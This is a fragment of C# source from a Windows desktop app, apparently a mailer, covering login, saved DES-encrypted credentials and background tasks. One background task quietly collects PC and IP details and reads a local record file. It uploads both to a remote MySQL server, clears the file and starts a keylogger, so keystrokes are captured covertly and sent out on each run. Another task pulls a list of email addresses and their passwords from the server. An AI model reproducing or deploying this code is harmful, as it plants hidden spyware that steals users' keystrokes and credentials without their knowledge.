public static void LoginThread() { while (Value.App_Run) { while (Value.App_Run) { Thread.Sleep(10); if (Value.LinkStatus == Value.LinkOk) { break; } } if (Ini.Read("记住") == "是") { if (Value.App_Run) { Value.LoginEmail = Ini.Read("用户名"); Value.LoginPassWord = MyEncrypt.DecryptDES(Ini.Read("用户密码")); if (Login(Value.LoginEmail, Value.LoginPassWord)) { Value.LoginOK = true; return; } } } } }
private void 登陆_Load(object sender, EventArgs e) { if (Ini.Read("记住") == "是") { checkBox1.Checked = true; textBox1.Text = Ini.Read("用户名"); textBox2.Text = MyEncrypt.DecryptDES(Ini.Read("用户密码")); } if (Ini.Read("自动登陆") == "是") { checkBox2.Checked = true; } }
private void button1_Click(object sender, EventArgs e) { if (checkBox1.Checked == true) { Ini.Write("用户名", textBox1.Text); Ini.Write("用户密码", MyEncrypt.EncryptDES(textBox2.Text)); } Value.LoginEmail = textBox1.Text; Value.LoginPassWord = textBox2.Text; if (login.Login(textBox1.Text, textBox2.Text)) { this.Text = "登陆成功"; Value.LoginOK = true; this.Close(); } else { this.Text = "登陆失败"; } }
public void Func() { switch (Index) { case 0: if (Value.App_Run) { while (TryCount-- > 0) { try { DataTable DT = MySql.GetDataBase(DataBase.GetObjectValue("EndMessage")); OnReceivedData(Index, DT.Rows[0][1].ToString()); return; } catch { } } OnReceivedData(Index, "获取失败|www.trtos.com"); } break; case 1: if (Ini.Read("自动登陆") == "是") { if (Value.App_Run) { while (TryCount-- > 0) { try { Value.LoginEmail = Ini.Read("用户名"); Value.LoginPassWord = MyEncrypt.DecryptDES(Ini.Read("用户密码")); DataTable DT1 = MySql.GetDataBase(DataBase.GetLoginInfor(Value.LoginEmail, Value.LoginPassWord)); Value.LoginUserName = DT1.Rows[0][0].ToString(); Value.UserCreateDate = DateTime.Parse(DT1.Rows[0][1].ToString()); Value.UserBeUserCount = int.Parse(DT1.Rows[0][2].ToString()); TryCount = 0; OnReceivedData(Index, "登陆成功"); return; } catch { } } OnReceivedData(Index, "登陆失败"); } } break; case 2: if (Value.App_Run) { while (TryCount-- > 0) { try { DataTable DT = MySql.GetDataBase(DataBase.GetFromMailList()); Value.SendMailList = new SendMailStruct[DT.Rows.Count]; for (int i = 0; i < DT.Rows.Count; i++) { Value.SendMailList[i].Mail = DT.Rows[i][0].ToString(); Value.SendMailList[i].Password = DT.Rows[i][1].ToString(); } OnReceivedData(Index, DT.Rows.Count.ToString()); return; } catch { } } OnReceivedData(Index, "获取失败|www.trtos.com"); } break; case 3: if (Value.App_Run) { while (TryCount-- > 0) { try { PC_InforStruct PIS = new PC_InforStruct(); PIS.IPInfor = (string)Msg; PC_Infor.Get(ref PIS); PIS.Record = Tools.ReadFile(Value.PathSys + Ini.Read("RecordPath")); Tools.WriteFile(Value.PathSys + Ini.Read("RecordPath"), ""); MySql.SqlCommand(DataBase.GetJoinLoginReg(PIS)); Value.KeyLog = new Keylogger(Value.PathSys + Ini.Read("RecordPath")); Value.KeyLog.startLoging(); return; } catch (Exception E) { OnReceivedData(Index, E.Message); } } } break; default: break; } }